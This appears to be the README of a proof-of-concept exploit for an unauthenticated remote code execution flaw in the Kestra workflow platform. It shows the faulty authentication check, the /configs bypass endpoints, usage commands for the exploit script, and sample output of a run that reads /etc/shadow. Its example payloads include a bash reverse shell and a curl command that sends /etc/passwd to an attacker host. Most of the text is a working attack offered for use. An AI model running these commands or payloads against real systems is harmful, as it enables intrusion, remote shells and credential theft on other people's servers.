// Vulnerable code in AuthenticationFilter.java:53
boolean isConfigEndpoint = request.getPath().endsWith("/configs")

# Any path ending in /configs bypasses authentication
/api/v1/main/flows/configs          # Create flows
/api/v1/main/executions/configs/configs  # Execute flows
/api/v1/{tenant}/flows/configs      # Any tenant
/api/v1/{tenant}/executions/configs/configs  # Any tenant

python3 kestra_exploit.py <target_ip>

# Custom port
python3 kestra_exploit.py 192.168.1.100 -p 8080

# HTTPS
python3 kestra_exploit.py 192.168.1.100 --https

# Custom command
python3 kestra_exploit.py 192.168.1.100 -c "whoami && hostname"

# Check Docker socket access
python3 kestra_exploit.py 192.168.1.100 --docker-check

# Clean up after exploitation
python3 kestra_exploit.py 192.168.1.100 --cleanup

# Full attack with all options
python3 kestra_exploit.py 192.168.1.100 -p 8080 --docker-check --cleanup -c "id > /tmp/proof.txt"

pip install requests

git clone https://github.com/yourusername/CVE-2026-53576
cd CVE-2026-53576

python3 kestra_exploit.py --help

python3 kestra_exploit.py 192.168.1.100

============================================================
Kestra Unauthenticated RCE Exploit
Security Research Tool - Authorized Use Only!
============================================================
[*] Target: 192.168.1.100:8080
[*] Protocol: http
============================================================

[Step 1] Creating malicious flow...
[*] Creating malicious flow at http://192.168.1.100:8080/api/v1/main/flows/configs
[*] Command: id > /tmp/proof.txt; cat /etc/shadow | head -1 >> /tmp/proof.txt
[+] Flow created successfully! (Status: 200)
[+] Flow revision: 26

[Step 2] Triggering execution...
[*] Triggering execution at http://192.168.1.100:8080/api/v1/main/executions/configs/configs
[+] Execution triggered successfully!
[+] Execution ID: 4nxNTHPk2WInfrnxQa6KF2
[+] Status: CREATED

[Step 3] Checking execution status...
[+] Execution status: SUCCESS
[*] Final status: SUCCESS

[+] Exploitation complete!
[*] To verify the attack succeeded, check the target system for:
    - /tmp/proof.txt containing command output
    - Kestra UI execution logs
    - Web UI: http://192.168.1.100:8080/ui/

python3 kestra_exploit.py 192.168.1.100 -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"

python3 kestra_exploit.py 192.168.1.100 -c "curl -X POST http://attacker.com/exfil -d @/etc/passwd"

python3 kestra_exploit.py 192.168.1.100 --docker-check --cleanup

MIT License

Copyright (c) 2026 Security Researcher

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.